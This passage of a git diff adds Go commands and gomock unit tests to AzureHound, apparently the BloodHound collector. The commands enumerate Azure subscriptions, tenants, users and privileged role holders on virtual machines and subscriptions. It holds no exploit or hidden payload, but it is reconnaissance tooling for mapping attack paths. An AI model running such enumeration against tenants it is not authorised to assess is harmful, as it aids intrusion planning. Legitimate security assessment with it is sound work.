setupLogger() +} + +func TestListSubscriptionUserAccessAdmins(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockRoleAssignmentsChannel := make(chan interface{}) + mockTenant := azure.Tenant{} + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + channel := listSubscriptionUserAccessAdmins(ctx, mockClient, mockRoleAssignmentsChannel) + + go func() { + defer close(mockRoleAssignmentsChannel) + + mockRoleAssignmentsChannel <- AzureWrapper{ + Data: models.SubscriptionRoleAssignments{ + SubscriptionId: "foo", + RoleAssignments: []models.SubscriptionRoleAssignment{ + { + RoleAssignment: azure.RoleAssignment{ + Name: constants.UserAccessAdminRoleID, + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.UserAccessAdminRoleID, + }, + }, + }, + }, + }, + } + }() + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if _, ok := wrapper.Data.(models.SubscriptionUserAccessAdmins); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.SubscriptionUserAccessAdmins{}) + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-subscriptions.go b/cmd/list-subscriptions.go new file mode 100644 index 0000000..c1a6f24 --- /dev/null +++ b/cmd/list-subscriptions.go @@ -0,0 +1,115 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listSubscriptionsCmd) +} + +var listSubscriptionsCmd = &cobra.Command{ + Use: "subscriptions", + Long: "Lists Azure Active Directory Subscriptions", + Run: listSubscriptionsCmdImpl, + SilenceUsage: true, +} + +func listSubscriptionsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure active directory subscriptions...") + start := time.Now() + stream := listSubscriptions(ctx, azClient) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listSubscriptions(ctx context.Context, client client.AzureClient) <-chan interface{} { + out := make(chan interface{}) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(out) + var ( + count = 0 + selectedSubIds = config.AzSubId.Value().([]string) + selectedMgmtGroupIds = config.AzMgmtGroupId.Value().([]string) + filterOnSubs = len(selectedSubIds) != 0 || len(selectedMgmtGroupIds) != 0 + ) + + if len(selectedMgmtGroupIds) != 0 { + descendantChannel := listManagementGroupDescendants(ctx, client, listManagementGroups(ctx, client)) + for i := range descendantChannel { + if item, ok := i.(AzureWrapper).Data.(azure.DescendantInfo); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue evaluating management group descendants", "result", i) + return + } else if item.Type == "Microsoft.Management/managementGroups/subscriptions" { + selectedSubIds = append(selectedSubIds, item.Name) + } + } + } + uniqueSubIds := unique(selectedSubIds) + + for item := range client.ListAzureSubscriptions(ctx) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing subscriptions") + return + } else if !filterOnSubs || contains(uniqueSubIds, item.Ok.SubscriptionId) { + log.V(2).Info("found subscription", "subscription", item) + count++ + // the embedded struct's values override top-level properties so TenantId + // needs to be explicitly set. + data := models.Subscription{ + Subscription: item.Ok, + } + data.TenantId = client.TenantInfo().TenantId + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZSubscription, + Data: data, + }); !ok { + return + } + } + } + log.Info("finished listing all subscriptions", "count", count) + }() + + return out +} diff --git a/cmd/list-subscriptions_test.go b/cmd/list-subscriptions_test.go new file mode 100644 index 0000000..3e9f8be --- /dev/null +++ b/cmd/list-subscriptions_test.go @@ -0,0 +1,69 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListSubscriptions(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + mockChannel := make(chan client.AzureResult[azure.Subscription]) + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureSubscriptions(gomock.Any()).Return(mockChannel) + + go func() { + defer close(mockChannel) + mockChannel <- client.AzureResult[azure.Subscription]{ + Ok: azure.Subscription{}, + } + mockChannel <- client.AzureResult[azure.Subscription]{ + Error: mockError, + } + mockChannel <- client.AzureResult[azure.Subscription]{ + Ok: azure.Subscription{}, + } + }() + + channel := listSubscriptions(ctx, mockClient) + result := <-channel + if _, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } + + if _, ok := <-channel; ok { + t.Error("expected channel to close from an error result but it did not") + } +} diff --git a/cmd/list-tenants.go b/cmd/list-tenants.go new file mode 100644 index 0000000..3e02caf --- /dev/null +++ b/cmd/list-tenants.go @@ -0,0 +1,104 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listTenantsCmd) +} + +var listTenantsCmd = &cobra.Command{ + Use: "tenants", + Long: "Lists Azure Active Directory Tenants", + Run: listTenantsCmdImpl, + SilenceUsage: true, +} + +func listTenantsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure active directory tenants...") + start := time.Now() + stream := listTenants(ctx, azClient) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listTenants(ctx context.Context, client client.AzureClient) <-chan interface{} { + out := make(chan interface{}) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(out) + + // Send the fully hydrated tenant that is being collected + collectedTenant := client.TenantInfo() + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZTenant, + Data: models.Tenant{ + Tenant: collectedTenant, + Collected: true, + }, + }); !ok { + return + } + count := 1 + for item := range client.ListAzureADTenants(ctx, true) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing tenants") + return + } else { + log.V(2).Info("found tenant", "tenant", item) + count++ + + // Send the remaining tenant trusts + if item.Ok.TenantId != collectedTenant.TenantId { + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZTenant, + Data: models.Tenant{ + Tenant: item.Ok, + }, + }); !ok { + return + } + } + } + } + log.Info("finished listing all tenants", "count", count) + }() + + return out +} diff --git a/cmd/list-tenants_test.go b/cmd/list-tenants_test.go new file mode 100644 index 0000000..c0648e3 --- /dev/null +++ b/cmd/list-tenants_test.go @@ -0,0 +1,69 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListTenants(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + mockChannel := make(chan client.AzureResult[azure.Tenant]) + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureADTenants(gomock.Any(), gomock.Any()).Return(mockChannel) + + go func() { + defer close(mockChannel) + mockChannel <- client.AzureResult[azure.Tenant]{ + Ok: azure.Tenant{}, + } + mockChannel <- client.AzureResult[azure.Tenant]{ + Error: mockError, + } + mockChannel <- client.AzureResult[azure.Tenant]{ + Ok: azure.Tenant{}, + } + }() + + channel := listTenants(ctx, mockClient) + result := <-channel + if _, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } + + if _, ok := <-channel; ok { + t.Error("expected channel to close from an error result but it did not") + } +} diff --git a/cmd/list-users.go b/cmd/list-users.go new file mode 100644 index 0000000..be94d8a --- /dev/null +++ b/cmd/list-users.go @@ -0,0 +1,106 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/query" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listUsersCmd) +} + +var listUsersCmd = &cobra.Command{ + Use: "users", + Long: "Lists Azure Active Directory Users", + Run: listUsersCmdImpl, + SilenceUsage: true, +} + +func listUsersCmdImpl(cmd *cobra.Command, _ []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure active directory users...") + start := time.Now() + stream := listUsers(ctx, azClient) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listUsers(ctx context.Context, client client.AzureClient) <-chan interface{} { + out := make(chan interface{}) + + params := query.GraphParams{Select: []string{ + "accountEnabled", + "createdDateTime", + "displayName", + "jobTitle", + "lastPasswordChangeDateTime", + "mail", + "onPremisesSecurityIdentifier", + "onPremisesSyncEnabled", + "userPrincipalName", + "userType", + "id", + }} + + go func() { + defer panicrecovery.PanicRecovery() + defer close(out) + count := 0 + for item := range client.ListAzureADUsers(ctx, params) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing users") + return + } else { + log.V(2).Info("found user", "user", item) + count++ + user := models.User{ + User: item.Ok, + TenantId: client.TenantInfo().TenantId, + TenantName: client.TenantInfo().DisplayName, + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZUser, + Data: user, + }); !ok { + return + } + } + } + log.Info("finished listing all users", "count", count) + }() + + return out +} diff --git a/cmd/list-users_test.go b/cmd/list-users_test.go new file mode 100644 index 0000000..59028e0 --- /dev/null +++ b/cmd/list-users_test.go @@ -0,0 +1,70 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListUsers(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + mockChannel := make(chan client.AzureResult[azure.User]) + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListAzureADUsers(gomock.Any(), gomock.Any()).Return(mockChannel) + + go func() { + defer close(mockChannel) + mockChannel <- client.AzureResult[azure.User]{ + Ok: azure.User{}, + } + mockChannel <- client.AzureResult[azure.User]{ + Error: mockError, + } + mockChannel <- client.AzureResult[azure.User]{ + Ok: azure.User{}, + } + }() + + channel := listUsers(ctx, mockClient) + result := <-channel + if _, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } + + if _, ok := <-channel; ok { + t.Error("expected channel to close from an error result but it did not") + } +} diff --git a/cmd/list-virtual-machine-admin-logins.go b/cmd/list-virtual-machine-admin-logins.go new file mode 100644 index 0000000..3bbcd30 --- /dev/null +++ b/cmd/list-virtual-machine-admin-logins.go @@ -0,0 +1,81 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/internal" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listVirtualMachineAdminLoginsCmd) +} + +var listVirtualMachineAdminLoginsCmd = &cobra.Command{ + Use: "virtual-machine-admin-logins", + Long: "Lists Azure Virtual Machine Admin Logins", + Run: listVirtualMachineAdminLoginsCmdImpl, + SilenceUsage: true, +} + +func listVirtualMachineAdminLoginsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure virtual machine admin logins...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + vms := listVirtualMachines(ctx, azClient, subscriptions) + vmRoleAssignments := listVirtualMachineRoleAssignments(ctx, azClient, vms) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + stream := listVirtualMachineAdminLogins(ctx, vmRoleAssignments) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listVirtualMachineAdminLogins( + ctx context.Context, + roleAssignments <-chan azureWrapper[models.VirtualMachineRoleAssignments], +) <-chan any { + return pipeline.Map(ctx.Done(), roleAssignments, func(ra azureWrapper[models.VirtualMachineRoleAssignments]) any { + filteredAssignments := internal.Filter(ra.Data.RoleAssignments, vmRoleAssignmentFilter(constants.VirtualMachineAdministratorLoginRoleID)) + adminLogins := internal.Map(filteredAssignments, func(ra models.VirtualMachineRoleAssignment) models.VirtualMachineAdminLogin { + return models.VirtualMachineAdminLogin{ + VirtualMachineId: ra.VirtualMachineId, + AdminLogin: ra.RoleAssignment, + } + }) + return NewAzureWrapper(enums.KindAZVMAdminLogin, models.VirtualMachineAdminLogins{ + VirtualMachineId: ra.Data.VirtualMachineId, + AdminLogins: adminLogins, + }) + }) +} diff --git a/cmd/list-virtual-machine-admin-logins_test.go b/cmd/list-virtual-machine-admin-logins_test.go new file mode 100644 index 0000000..df29f72 --- /dev/null +++ b/cmd/list-virtual-machine-admin-logins_test.go @@ -0,0 +1,76 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListVirtualMachineAdminLogins(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockVMRoleAssignmentsChannel := make(chan azureWrapper[models.VirtualMachineRoleAssignments]) + mockTenant := azure.Tenant{} + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + channel := listVirtualMachineAdminLogins(ctx, mockVMRoleAssignmentsChannel) + + go func() { + defer close(mockVMRoleAssignmentsChannel) + + mockVMRoleAssignmentsChannel <- NewAzureWrapper( + enums.KindAZVMRoleAssignment, + models.VirtualMachineRoleAssignments{ + VirtualMachineId: "foo", + RoleAssignments: []models.VirtualMachineRoleAssignment{ + { + RoleAssignment: azure.RoleAssignment{ + Name: constants.VirtualMachineAdministratorLoginRoleID, + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.VirtualMachineAdministratorLoginRoleID, + }, + }, + }, + }, + }, + ) + }() + + if _, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-virtual-machine-avere-contributors.go b/cmd/list-virtual-machine-avere-contributors.go new file mode 100644 index 0000000..577582d --- /dev/null +++ b/cmd/list-virtual-machine-avere-contributors.go @@ -0,0 +1,81 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/internal" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listVirtualMachineAvereContributorsCmd) +} + +var listVirtualMachineAvereContributorsCmd = &cobra.Command{ + Use: "virtual-machine-avere-contributors", + Long: "Lists Azure Virtual Machine Avere Contributors", + Run: listVirtualMachineAvereContributorsCmdImpl, + SilenceUsage: true, +} + +func listVirtualMachineAvereContributorsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure virtual machine averecontributors...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + vms := listVirtualMachines(ctx, azClient, subscriptions) + vmRoleAssignments := listVirtualMachineRoleAssignments(ctx, azClient, vms) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + stream := listVirtualMachineAvereContributors(ctx, vmRoleAssignments) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listVirtualMachineAvereContributors( + ctx context.Context, + roleAssignments <-chan azureWrapper[models.VirtualMachineRoleAssignments], +) <-chan any { + return pipeline.Map(ctx.Done(), roleAssignments, func(ra azureWrapper[models.VirtualMachineRoleAssignments]) any { + filteredAssignments := internal.Filter(ra.Data.RoleAssignments, vmRoleAssignmentFilter(constants.AvereContributorRoleID)) + avereContributors := internal.Map(filteredAssignments, func(ra models.VirtualMachineRoleAssignment) models.VirtualMachineAvereContributor { + return models.VirtualMachineAvereContributor{ + VirtualMachineId: ra.VirtualMachineId, + AvereContributor: ra.RoleAssignment, + } + }) + return NewAzureWrapper(enums.KindAZVMAvereContributor, models.VirtualMachineAvereContributors{ + VirtualMachineId: ra.Data.VirtualMachineId, + AvereContributors: avereContributors, + }) + }) +} diff --git a/cmd/list-virtual-machine-avere-contributors_test.go b/cmd/list-virtual-machine-avere-contributors_test.go new file mode 100644 index 0000000..b894045 --- /dev/null +++ b/cmd/list-virtual-machine-avere-contributors_test.go @@ -0,0 +1,76 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListVirtualMachineAvereContributors(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockVMRoleAssignmentsChannel := make(chan azureWrapper[models.VirtualMachineRoleAssignments]) + mockTenant := azure.Tenant{} + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + channel := listVirtualMachineAvereContributors(ctx, mockVMRoleAssignmentsChannel) + + go func() { + defer close(mockVMRoleAssignmentsChannel) + + mockVMRoleAssignmentsChannel <- NewAzureWrapper( + enums.KindAZVMRoleAssignment, + models.VirtualMachineRoleAssignments{ + VirtualMachineId: "foo", + RoleAssignments: []models.VirtualMachineRoleAssignment{ + { + RoleAssignment: azure.RoleAssignment{ + Name: constants.AvereContributorRoleID, + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.AvereContributorRoleID, + }, + }, + }, + }, + }, + ) + }() + + if _, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-virtual-machine-contributors.go b/cmd/list-virtual-machine-contributors.go new file mode 100644 index 0000000..bcc6abf --- /dev/null +++ b/cmd/list-virtual-machine-contributors.go @@ -0,0 +1,81 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "os" + "os/signal" + "time" + + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/internal" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listVirtualMachineContributorsCmd) +} + +var listVirtualMachineContributorsCmd = &cobra.Command{ + Use: "virtual-machine-contributors", + Long: "Lists Azure Virtual Machine Contributors", + Run: listVirtualMachineContributorsCmdImpl, + SilenceUsage: true, +} + +func listVirtualMachineContributorsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure virtual machine contributors...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + vms := listVirtualMachines(ctx, azClient, subscriptions) + vmRoleAssignments := listVirtualMachineRoleAssignments(ctx, azClient, vms) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + stream := listVirtualMachineContributors(ctx, vmRoleAssignments) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listVirtualMachineContributors( + ctx context.Context, + roleAssignments <-chan azureWrapper[models.VirtualMachineRoleAssignments], +) <-chan any { + return pipeline.Map(ctx.Done(), roleAssignments, func(ra azureWrapper[models.VirtualMachineRoleAssignments]) any { + filteredAssignments := internal.Filter(ra.Data.RoleAssignments, vmRoleAssignmentFilter(constants.ContributorRoleID)) + contributors := internal.Map(filteredAssignments, func(ra models.VirtualMachineRoleAssignment) models.VirtualMachineContributor { + return models.VirtualMachineContributor{ + VirtualMachineId: ra.VirtualMachineId, + Contributor: ra.RoleAssignment, + } + }) + return NewAzureWrapper(enums.KindAZVMContributor, models.VirtualMachineContributors{ + VirtualMachineId: ra.Data.VirtualMachineId, + Contributors: contributors, + }) + }) +} diff --git a/cmd/list-virtual-machine-contributors_test.go b/cmd/list-virtual-machine-contributors_test.go new file mode 100644 index 0000000..3b13458 --- /dev/null +++ b/cmd/list-virtual-machine-contributors_test.go @@ -0,0 +1,76 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/mocks" + 